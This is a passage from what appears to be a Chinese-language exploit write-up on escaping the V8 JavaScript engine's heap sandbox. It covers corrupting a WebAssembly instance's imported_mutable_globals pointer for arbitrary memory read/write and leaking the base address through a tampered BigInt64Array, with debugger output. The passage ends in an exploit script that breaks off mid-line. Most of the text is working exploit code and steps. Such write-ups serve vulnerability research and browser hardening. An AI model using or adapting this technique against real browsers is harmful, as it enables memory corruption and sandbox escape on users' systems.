class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">var global = new WebAssembly.Global(&#123;value:&apos;i64&apos;, mutable:true&#125;, 0n);</span><br><span class="line">var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 12, 3, 96, 0, 1, 126, 96, 0, 0, 96, 1, 126, 0, 2, 14, 1, 2, 106, 115, 6, 103, 108, 111, 98, 97, 108, 3, 126, 1, 3, 4, 3, 0, 1, 2, 7, 37, 3, 9, 103, 101, 116, 71, 108, 111, 98, 97, 108, 0, 0, 9, 105, 110, 99, 71, 108, 111, 98, 97, 108, 0, 1, 9, 115, 101, 116, 71, 108, 111, 98, 97, 108, 0, 2, 10, 23, 3, 4, 0, 35, 0, 11, 9, 0, 35, 0, 66, 1, 124, 36, 0, 11, 6, 0, 32, 0, 36, 0, 11]);</span><br><span class="line">var wasm_mod = new WebAssembly.Module(wasm_code);</span><br><span class="line">var wasm_instance = new WebAssembly.Instance(wasm_mod, &#123;js: &#123;global&#125;&#125;);</span><br></pre></td></tr></table></figure><p>以上可以往 <code>imported_mutable_globals</code> 里添加一个 int64 的全局变量 。</p><p>注意<code>global</code> 这个变量是在当前堆上分配的，利用漏洞是可以修改这个对象的属性。</p><p>DebugPrint 一下这个 <code>global</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">DebugPrint: 0xc7908048d0d: [WasmGlobalObject]</span><br><span class="line"> - map: 0x0c7908206821 &lt;Map(HOLEY_ELEMENTS)&gt;</span><br><span class="line"> - untagged_buffer: 0x0c7908048d31 &lt;ArrayBuffer map = 0xc7908203289&gt;</span><br><span class="line"> - offset: 0</span><br><span class="line"> - raw_type: 2</span><br><span class="line"> - is_mutable: 1</span><br><span class="line"> - type: i64</span><br><span class="line"> - is_mutable: 1</span><br></pre></td></tr></table></figure><p><code>untagged_buffer</code> 是一个 ArrayBuffer，<code>backing_store</code> 是 <code>0x3b1800002000</code> ，也就是 <code>global</code> 存储数据的地址。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">gef➤  job 0x3b1708048d31</span><br><span class="line">0x3b1708048d31: [JSArrayBuffer]</span><br><span class="line"> - map: 0x3b1708203289 &lt;Map(HOLEY_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> - prototype: 0x3b17081c99e9 &lt;Object map = 0x3b17082032b1&gt;</span><br><span class="line"> - elements: 0x3b1708002249 &lt;FixedArray[0]&gt; [HOLEY_ELEMENTS]</span><br><span class="line"> - embedder fields: 2</span><br><span class="line"> - backing_store: 0x3b1800002000</span><br><span class="line"> - byte_length: 8</span><br><span class="line"> - max_byte_length: 8</span><br><span class="line"> - detachable</span><br><span class="line"> - properties: 0x3b1708002249 &lt;FixedArray[0]&gt;</span><br><span class="line"> - All own properties (excluding elements): &#123;&#125;</span><br><span class="line"> - embedder fields = &#123;</span><br><span class="line">    0, aligned pointer: (nil)</span><br><span class="line">    0, aligned pointer: (nil)</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>回过头看上面 <code>wasm_instance</code> 的 <code>imported_mutable_globals</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace</span><br><span class="line"> - map: 0x3b1708206439 &lt;Map(HOLEY_ELEMENTS)&gt; [FastProperties]</span><br><span class="line"> - prototype: 0x3b1708046975 &lt;Object map = 0x3b1708206c81&gt;</span><br><span class="line"> - elements: 0x3b1708002249 &lt;FixedArray[0]&gt; [HOLEY_ELEMENTS]</span><br><span class="line"> - module_object: 0x3b1708048b69 &lt;Module map = 0x3b17082062d1&gt;</span><br><span class="line"> - exports_object: 0x3b1708048e85 &lt;Object map = 0x3b1708206d21&gt;</span><br><span class="line"> - native_context: 0x3b17081c2c75 &lt;NativeContext[266]&gt;</span><br><span class="line"> - imported_mutable_globals_buffers: 0x3b17081d3035 &lt;FixedArray[1]&gt;</span><br><span class="line"> - imported_function_refs: 0x3b1708002249 &lt;FixedArray[0]&gt;</span><br><span class="line"> - indirect_function_table_refs: 0x3b1708002249 &lt;FixedArray[0]&gt;</span><br><span class="line"> - managed_native_allocations: 0x3b1708048e61 &lt;Foreign&gt;</span><br><span class="line"> - managed object maps: 0x3b1708002249 &lt;FixedArray[0]&gt;</span><br><span class="line"> - feedback vectors: 0x3b1708002249 &lt;FixedArray[0]&gt;</span><br><span class="line"> - memory_start: (nil)</span><br><span class="line"> - memory_size: 0</span><br><span class="line"> - imported_function_targets: 0x560e9be53750</span><br><span class="line"> - globals_start: (nil)</span><br><span class="line"> - imported_mutable_globals: 0x560e9be53770</span><br><span class="line"> - ...</span><br></pre></td></tr></table></figure><p>这里的第一个元素即是 <code>global</code> 的 <code>backing_store</code> 地址</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">gef➤  x/10xg 0x560e9be53770</span><br><span class="line">0x560e9be53770:0x00003b18000020000x00007fcdcb1bdca0</span><br><span class="line">0x560e9be53780:0x00000000000000000x0000000000000021</span><br><span class="line">0x560e9be53790:0x00007fcdcb1bdca00x00007fcdcb1bdca0</span><br><span class="line">0x560e9be537a0:0x00000000000000000x0000000000000021</span><br><span class="line">0x560e9be537b0:0x00007fcdcb1bdca00x00007fcdcb1bdca0</span><br></pre></td></tr></table></figure><p>我们伪造一个 <code>imported_mutable_globals</code> 替换掉 <code>wasm_instance</code> 的 <code>imported_mutable_globals</code> ，即可做到任意地址读写。</p><h3 id="伪造-imported-mutable-globals"><a href="#伪造-imported-mutable-globals" class="headerlink" title="伪造 imported_mutable_globals"></a>伪造 imported_mutable_globals</h3><p> <code>imported_mutable_globals</code> 并不是一个 JS 对象，不用泄漏 map ，伪造起来比较容易。</p><p>创建一个 <code>array</code> ，第一个元素是要读写的任意地址。</p><p>再泄漏这个 <code>array</code> 的偏移及基址 <code>js_base</code> 计算得到完整的 <code>array</code> 地址，覆盖掉用来的 <code>imported_mutable_globals</code> 。</p><p>泄漏 <code>array</code> 的偏移按常规的路子来就行，泄漏 <code>js_base</code> 见下一节。</p><p>一切搞好后，要读写任意地址，改 <code>array[0]</code> 即可。</p><h3 id="获取基址-js-base"><a href="#获取基址-js-base" class="headerlink" title="获取基址 js_base"></a>获取基址 js_base</h3><p>泄漏基址 <code>js_base</code> 并不难，多次运行 d8 ，搜索下基址：</p><p>第一次</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">gef➤  search-pattern 0x1c53</span><br><span class="line">[+] Searching &apos;\x53\x1c&apos; in memory</span><br><span class="line">[+] In (0x1c5300000000-0x1c5300003000), permission=rw-</span><br><span class="line">  0x1c530000001c - 0x1c5300000024  →   &quot;\x53\x1c[...]&quot; </span><br><span class="line">  0x1c5300000024 - 0x1c530000002c  →   &quot;\x53\x1c[...]&quot; </span><br><span class="line">  0x1c5300000054 - 0x1c530000005c  →   &quot;\x53\x1c[...]&quot; </span><br><span class="line">  0x1c53000000f4 - 0x1c53000000fc  →   &quot;\x53\x1c[...]&quot;</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>第二次</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">gef➤  search-pattern 0x00002c3b</span><br><span class="line">[+] Searching &apos;\x3b\x2c\x00\x00&apos; in memory</span><br><span class="line">[+] In (0x2c3b00000000-0x2c3b00003000), permission=rw-</span><br><span class="line">  0x2c3b0000001c - 0x2c3b0000001e  →   &quot;;,&quot; </span><br><span class="line">  0x2c3b00000024 - 0x2c3b00000026  →   &quot;;,&quot; </span><br><span class="line">  0x2c3b00000054 - 0x2c3b00000056  →   &quot;;,&quot; </span><br><span class="line">  0x2c3b000000f4 - 0x2c3b000000f6  →   &quot;;,&quot;</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>第三次</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">gef➤  search-pattern 0x3f13</span><br><span class="line">[+] Searching &apos;\x13\x3f&apos; in memory</span><br><span class="line">[+] In (0x3f1300000000-0x3f1300003000), permission=rw-</span><br><span class="line">  0x3f130000001c - 0x3f1300000024  →   &quot;\x13\x3f[...]&quot; </span><br><span class="line">  0x3f1300000024 - 0x3f130000002c  →   &quot;\x13\x3f[...]&quot; </span><br><span class="line">  0x3f1300000054 - 0x3f130000005c  →   &quot;\x13\x3f[...]&quot; </span><br><span class="line">  0x3f13000000f4 - 0x3f13000000fc  →   &quot;\x13\x3f[...]&quot;</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>可以看到，在 <code>[js_base , js_base+0x3000]</code> 的区间就有一些64位的原始指针，如果能读到，就可以泄漏出基址。</p><p>具体的方法，构造一个 <code>BigInt64Array</code> 修改 <code>external_pointer</code> ，以及 <code>byte_length</code> ，让 <code>BigInt64Array</code> 能从 <code>js_base</code> 开始访问。</p><p>这里由于沙箱，<code>data_ptr</code> 的计算方式改为 <code>js_base + base_pointer + (external_pointer &lt;&lt; 2)</code>  ，需要注意 <code>external_pointer</code> 变为了偏移，如下图的 <code>0x1000000</code> 。 </p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%2013.png" alt="Untitled"></p><p>修改 <code>external_pointer</code> 和 <code>base_pointer</code> 为 <code>0</code> ，<code>BigIng64Array</code> 就会从 <code>js_base</code> 开始访问了。</p><h3 id="修改全局变量"><a href="#修改全局变量" class="headerlink" title="修改全局变量"></a>修改全局变量</h3><p>参考 mdm 提供的 demo <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat" target="_blank" rel="noopener">https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat</a> ，添加修改 global 变量的函数。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">(module</span><br><span class="line">   (global $g (import &quot;js&quot; &quot;global&quot;) (mut i64))</span><br><span class="line">   (func (export &quot;getGlobal&quot;) (result i64)</span><br><span class="line">        (global.get $g))</span><br><span class="line">   (func (export &quot;setGlobal&quot;) (param i64)</span><br><span class="line">        (global.set $g</span><br><span class="line">            (get_local 0)))</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>用 wat2wasm <a href="https://webassembly.github.io/wabt/demo/wat2wasm/" target="_blank" rel="noopener">https://webassembly.github.io/wabt/demo/wat2wasm/</a> 编译后，提取二进制格式的输出。</p><p>现在可以使用 WASM 修改全局变量了：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x09,0x02,0x60,0x00,0x01,0x7e,0x60,0x01,0x7e,0x00,0x02,0x0e,0x01,0x02,0x6a,0x73,0x06,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x03,0x7e,0x01,0x03,0x03,0x02,0x00,0x01,0x07,0x19,0x02,0x09,0x67,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x00,0x09,0x73,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x01,0x0a,0x0d,0x02,0x04,0x00,0x23,0x00,0x0b,0x06,0x00,0x20,0x00,0x24,0x00,0x0b,0x00,0x14,0x04,0x6e,0x61,0x6d,0x65,0x02,0x07,0x02,0x00,0x00,0x01,0x01,0x00,0x00,0x07,0x04,0x01,0x00,0x01,0x67])</span><br><span class="line">var wasm_mod = new WebAssembly.Module(wasm_code); </span><br><span class="line"></span><br><span class="line">const global = new WebAssembly.Global(&#123;value:&apos;i64&apos;, mutable:true&#125;, 0n);</span><br><span class="line">var wasm_instance = new WebAssembly.Instance(wasm_mod, &#123;js:&#123;global&#125;&#125;); </span><br><span class="line"></span><br><span class="line">var getGlobal= wasm_instance.exports.getGlobal;</span><br><span class="line">var setGlobal= wasm_instance.exports.setGlobal;</span><br><span class="line"></span><br><span class="line">setGlobal(0x10000n);</span><br><span class="line">console.log(getGlobal()); // 65535</span><br></pre></td></tr></table></figure><h3 id="EXP-1"><a href="#EXP-1" class="headerlink" title="EXP"></a>EXP</h3><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">dp</span>(<span class="params">x</span>) </span>&#123;&#125; </span><br><span class="line"><span class="comment">// function dp(x) &#123;%DebugPrint(x);&#125; // const print = console.log;</span></span><br><span class="line"><span class="keyword">const</span> print = <span class="function">(<span class="params">x</span>) =&gt;</span>&#123;<span class="built_in">console</span>.log(x)&#125;;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Helpers</span> </span>&#123;</span><br><span class="line">    <span class="keyword">constructor</span>() &#123;</span><br><span class="line">      <span class="keyword">this</span>.cvt_buf = <span class="keyword">new</span> <span class="built_in">ArrayBuffer</span>(<span class="number">8</span>);</span><br><span class="line">      <span class="keyword">this</span>.cvt_f64a = <span class="keyword">new</span> <span class="built_in">Float64Array</span>(<span class="keyword">this</span>.cvt_buf);</span><br><span class="line">      <span class="keyword">this</span>.cvt_u64a = <span class="keyword">new</span> BigUint64Array(<span class="keyword">this</span>.cvt_buf);</span><br><span class="line">      <span class="keyword">this</span>.cvt_u32a = <span class="keyword">new</span> <span class="built_in">Uint32Array</span>(<span class="keyword">this</span>.cvt_buf);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ftoi(f) &#123;</span><br><span class="line">      <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>] = f;</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    itof(i) &#123;</span><br><span class="line">      <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>] = i;</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ftoil(f) &#123;</span><br><span class="line">      <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>] = f;</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">this</span>.cvt_u32a[<span class="number">0</span>];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ftoih(f) &#123;</span><br><span class="line">      <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>] = f;</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">this</span>.cvt_u32a[<span class="number">1</span>];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    fsetil(f, l) &#123;</span><br><span class="line">      <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>] = f;</span><br><span class="line">      <span class="keyword">this</span>.cvt_u32a[<span class="number">0</span>] = l;</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    fsetih(f, h) &#123;</span><br><span class="line">      <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>] = f;</span><br><span class="line">      <span class="keyword">this</span>.cvt_u32a[<span class="number">1</span>] = h;</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    isetltof(i, l) &#123;</span><br><span class="line">      <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>] = i;</span><br><span class="line">      <span class="keyword">this</span>.cvt_u32a[<span class="number">0</span>] = l;</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    isethtof(i, h) &#123;</span><br><span class="line">      <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>] = i;</span><br><span class="line">      <span class="keyword">this</span>.cvt_u32a[<span class="number">1</span>] = h;</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    isetlhtof(l,h)&#123;</span><br><span class="line">        <span class="keyword">this</span>.cvt_u32a[<span class="number">0</span>] = l;</span><br><span class="line">        <span class="keyword">this</span>.cvt_u32a[<span class="number">1</span>] = h;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    isetltoi(i,l)&#123;</span><br><span class="line">      <span class="keyword">this</span>.cvt_u32a[<span class="number">0</span>] = l;</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    isethtoi(i,h)&#123;</span><br><span class="line">      <span class="keyword">this</span>.cvt_u32a[<span class="number">1</span>] = h;</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    isetlhtoi(l,h)&#123;</span><br><span class="line">        <span class="keyword">this</span>.cvt_u32a[<span class="number">0</span>] = l;</span><br><span class="line">        <span class="keyword">this</span>.cvt_u32a[<span class="number">1</span>] = h;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    igetl(i) &#123;</span><br><span class="line">      <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>] = i;</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">this</span>.cvt_u32a[<span class="number">0</span>];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    igeth(i) &#123;</span><br><span class="line">      <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>] = i;</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">this</span>.cvt_u32a[<span class="number">1</span>];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    gc() &#123;</span><br><span class="line">      <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">100</span>; i++) &#123;</span><br><span class="line">        <span class="keyword">new</span> <span class="built_in">ArrayBuffer</span>(<span class="number">0x1000000</span>);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    printhex(s, val) &#123;</span><br><span class="line">      <span class="comment">//%DebugPrint(s + " 0x" + val.toString(16));</span></span><br><span class="line">      <span class="built_in">console</span>.log(s + <span class="string">" 0x"</span> + val.toString(<span class="number">16</span>));</span><br><span class="line">      <span class="comment">//document.write(s +' ' + val.toString(16) + " &lt;/br&gt;");</span></span><br><span class="line">      <span class="comment">//alert(s + " 0x" + val.toString(16));</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> helper = <span class="keyword">new</span> Helpers();</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> oob_arr = [<span class="number">1.1</span>, <span class="number">2.2</span>, <span class="number">3.3</span>];</span><br><span class="line"><span class="keyword">var</span> buf = <span class="keyword">new</span> <span class="built_in">ArrayBuffer</span>(<span class="number">0x100</span>);</span><br><span class="line"><span class="keyword">var</span> i64arr= <span class="keyword">new</span> BigUint64Array(buf);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> fake_imported_mutable_globals_arr = [<span class="number">0x1337133713371337</span>];</span><br><span class="line"><span class="keyword">var</span> leaker = &#123; <span class="string">'x'</span>:fake_imported_mutable_globals_arr&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> wasm_code = <span class="keyword">new</span> <span class="built_in">Uint8Array</span>([<span class="number">0x00</span>,<span class="number">0x61</span>,<span class="number">0x73</span>,<span class="number">0x6d</span>,<span class="number">0x01</span>,<span class="number">0x00</span>,<span class="number">0x00</span>,<span class="number">0x00</span>,<span class="number">0x01</span>,<span class="number">0x09</span>,<span class="number">0x02</span>,<span class="number">0x60</span>,<span class="number">0x00</span>,<span class="number">0x01</span>,<span class="number">0x7e</span>,<span class="number">0x60</span>,<span class="number">0x01</span>,<span class="number">0x7e</span>,<span class="number">0x00</span>,<span class="number">0x02</span>,<span class="number">0x0e</span>,<span class="number">0x01</span>,<span class="number">0x02</span>,<span class="number">0x6a</span>,<span class="number">0x73</span>,<span class="number">0x06</span>,<span class="number">0x67</span>,<span class="number">0x6c</span>,<span class="number">0x6f</span>,<span class="number">0x62</span>,<span class="number">0x61</span>,<span class="number">0x6c</span>,<span class="number">0x03</span>,<span class="number">0x7e</span>,<span class="number">0x01</span>,<span class="number">0x03</span>,<span class="number">0x03</span>,<span class="number">0x02</span>,<span class="number">0x00</span>,<span class="number">0x01</span>,<span class="number">0x07</span>,<span class="number">0x19</span>,<span class="number">0x02</span>,<span class="number">0x09</span>,<span class="number">0x67</span>,<span class="number">0x65</span>,<span class="number">0x74</span>,<span class="number">0x47</span>,<span class="number">0x6c</span>,<span class="number">0x6f</span>,<span class="number">0x62</span>,<span class="number">0x61</span>,<span class="number">0x6c</span>,<span class="number">0x00</span>,<span class="number">0x00</span>,<span class="number">0x09</span>,<span class="number">0x73</span>,<span class="number">0x65</span>,<span class="number">0x74</span>,<span class="number">0x47</span>,<span class="number">0x6c</span>,<span class="number">0x6f</span>,<span class="number">0x62</span>,<span class="number">0x61</span>,<span class="number">0x6c</span>,<span class="number">0x00</span>,<span class="number">0x01</span>,<span class="number">0x0a</span>,<span class="number">0x0d</span>,<span class="number">0x02</span>,<span class="number">0x04</span>,<span class="number">0x00</span>,<span class="number">0x23</span>,<span class="number">0x00</span>,<span class="number">0x0b</span>,<span class="number">0x06</span>,<span class="number">0x00</span>,<span class="number">0x20</span>,<span class="number">0x00</span>,<span class="number">0x24</span>,<span class="number">0x00</span>,<span class="number">0x0b</span>,<span class="number">0x00</span>,<span class="number">0x14</span>,<span class="number">0x04</span>,<span class="number">0x6e</span>,<span class="number">0x61</span>,<span class="number">0x6d</span>,<span class="number">0x65</span>,<span class="number">0x02</span>,<span class="number">0x07</span>,<span class="number">0x02</span>,<span class="number">0x00</span>,<span class="number">0x00</span>,<span class="number">0x01</span>,<span class="number">0x01</span>,<span class="number">0x00</span>,<span class="number">0x00</span>,<span class="number">0x07</span>,<span class="number">0x04</span>,<span class="number">0x01</span>,<span class="number">0x00</span>,<span class="number">0x01</span>,<span class="number">0x67</span>])</span><br><span class="line"><span class="keyword">var</span> wasm_mod = <span class="keyword">new</span> WebAssembly.Module(wasm_code); </span><br><span class="line"><span class="keyword">const</span> global = <span class="keyword">new</span> WebAssembly.Global(&#123;<span class="attr">value</span>:<span class="string">'i64'</span>, <span class="attr">mutable</span>:<span class="literal">true</span>&#125;, <span class="number">0</span>n);</span><br><span class="line"><span class="keyword">var</span> wasm_instance = <span class="keyword">new</span> 